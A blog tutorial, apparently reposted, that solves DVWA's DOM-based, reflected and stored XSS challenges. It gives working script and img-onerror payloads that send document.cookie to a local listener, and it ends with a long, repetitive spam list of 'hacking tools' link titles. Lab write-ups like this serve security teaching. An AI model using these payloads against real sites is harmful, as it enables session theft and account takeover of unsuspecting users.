Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

Posted by iNoticiero on miércoles, 26 de agosto de 2020 0

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script>
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script>
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Continue reading


  1. Hack Tools Online
  2. Hacking Tools Github
  3. Free Pentest Tools For Windows
  4. Pentest Tools Online
  5. Tools 4 Hack
  6. New Hacker Tools
  7. Hacker Tools
  8. New Hacker Tools
  9. Hacker Search Tools
  10. Android Hack Tools Github
  11. Free Pentest Tools For Windows
  12. Hack App
  13. Hacking Tools Online
  14. Game Hacking
  15. Hacking Tools Download
  16. Hack Tools Download
  17. New Hack Tools
  18. Hacker Tools Software
  19. Pentest Tools Website
  20. Pentest Tools For Android
  21. Free Pentest Tools For Windows
  22. Hacker Tools For Mac
  23. Hacking Tools Free Download
  24. Hacker Tools For Mac
  25. Hacker Search Tools
  26. Hacking Tools For Windows Free Download
  27. Pentest Tools Nmap
  28. Hacking Apps
  29. Best Pentesting Tools 2018
  30. Hacking Tools
  31. Hack Tools For Games
  32. Pentest Tools Online
  33. Best Pentesting Tools 2018
  34. Hacking Tools Kit
  35. Nsa Hack Tools Download
  36. Hacker Tools 2019
  37. Pentest Reporting Tools
  38. Hak5 Tools
  39. Hacking Tools For Windows
  40. Hack Website Online Tool
  41. Hacker Tools Online
  42. Hacking Tools Pc
  43. Hacking Tools Hardware
  44. Hacker Tools Free Download
  45. Hacker Tools List
  46. Hackrf Tools
  47. Pentest Tools Url Fuzzer
  48. Pentest Tools Online
  49. Hacking Tools 2020
  50. Hacking Tools For Mac
  51. Hacker Tools Github
  52. How To Make Hacking Tools
  53. Pentest Tools For Mac
  54. Hackers Toolbox
  55. Underground Hacker Sites
  56. Pentest Recon Tools
  57. Hacking Tools For Mac
  58. Usb Pentest Tools
  59. Hacker Tools Mac
  60. Black Hat Hacker Tools
  61. Best Hacking Tools 2019
  62. Pentest Tools Bluekeep
  63. Top Pentest Tools
  64. Hacking Apps
  65. Termux Hacking Tools 2019
  66. Free Pentest Tools For Windows
  67. Hack Tools Pc
  68. Hacking Tools Pc
  69. Pentest Tools Apk
  70. Hacker Tools Free Download
  71. Pentest Tools Subdomain
  72. Hacking Tools 2019
  73. Best Pentesting Tools 2018
  74. How To Hack
  75. Hacking Tools For Mac
  76. Hack Tools For Windows
  77. How To Install Pentest Tools In Ubuntu
  78. Hacker Security Tools
  79. Hacker Tools Apk Download
  80. Hacker Tools Free
  81. Pentest Reporting Tools
  82. Pentest Tools Apk
  83. Hacking Tools For Windows
  84. Blackhat Hacker Tools
  85. Hacker Tools
  86. Best Pentesting Tools 2018
  87. Hacker Tools For Pc
  88. Hacking Tools For Windows
  89. Pentest Tools Bluekeep
  90. Hack Tools For Windows
  91. Hack Tools 2019
  92. Hacking Tools Download
  93. Hacking Tools For Beginners
  94. Hacking Tools
  95. Hack Tools Mac
  96. Hack Website Online Tool
  97. Pentest Tools Website Vulnerability
  98. Pentest Tools Find Subdomains
  99. Pentest Tools Online
  100. Hacker Tools Linux
  101. Hacker Tools Hardware
  102. Pentest Reporting Tools
  103. Pentest Tools For Windows
  104. Underground Hacker Sites
  105. Growth Hacker Tools
  106. Hacking Tools For Beginners
  107. Hacker Tools Github
  108. Hacking Tools Windows 10
  109. Hacker Tools Software
  110. Hacking Tools Free Download
  111. Hack Tools For Pc
  112. Hack Tools Mac
  113. Hack Tools Pc
  114. Pentest Tools Find Subdomains
  115. Termux Hacking Tools 2019
  116. Hacking Tools Windows 10
  117. Hacking Tools For Kali Linux
  118. Hacker Tools For Windows
  119. What Are Hacking Tools
  120. New Hacker Tools
  121. Hack Tools For Ubuntu
  122. What Is Hacking Tools
  123. Underground Hacker Sites
  124. Hacking Tools Pc
  125. Bluetooth Hacking Tools Kali
  126. Android Hack Tools Github
  127. Hacking Tools Mac
  128. Hack Tools For Mac
  129. Hack Tool Apk No Root
  130. Hacker Tools Apk
  131. Hack Tools
  132. Pentest Tools Open Source
  133. World No 1 Hacker Software
  134. Pentest Tools Kali Linux
  135. Pentest Tools Framework
  136. Hacking Tools Name
  137. Pentest Automation Tools
  138. Pentest Tools Website
  139. Android Hack Tools Github
  140. Hacking Tools Online
  141. Pentest Tools Url Fuzzer
  142. How To Install Pentest Tools In Ubuntu
  143. Nsa Hack Tools
  144. Hacking Tools For Windows 7
  145. Hacker Tools For Pc
  146. Hacking Tools 2020
  147. Pentest Tools Website
  148. Pentest Tools Apk
  149. Hack Tools
  150. Pentest Tools Apk
  151. Hacker Tools Apk Download
  152. Pentest Tools
  153. Usb Pentest Tools
  154. Hacker Tools 2019
  155. Pentest Tools
  156. Pentest Box Tools Download
  157. Hacking Tools For Mac
  158. Pentest Tools For Ubuntu
  159. Hacker Tools Linux
  160. Hacking Tools Download
  161. Hack Tools For Ubuntu
  162. How To Make Hacking Tools
  163. Pentest Tools Apk
  164. Pentest Tools For Ubuntu
  165. Beginner Hacker Tools
  166. Termux Hacking Tools 2019
  167. Hacker Hardware Tools
  168. Pentest Tools Framework
  169. Pentest Tools Apk
  170. Hacker Techniques Tools And Incident Handling
  171. New Hacker Tools
  172. Pentest Tools Nmap
  173. New Hack Tools
  174. Tools For Hacker

Tagged as:
About the Author

Write admin description here..

Get Updates

Subscribe to our e-mail newsletter to receive updates.

Share This Post

Related posts

0 comentarios:

What they says

© 2013 ECOLOGÍA. WP Theme-junkie converted by BloggerTheme9
Blogger templates. Proudly Powered by Blogger.
back to top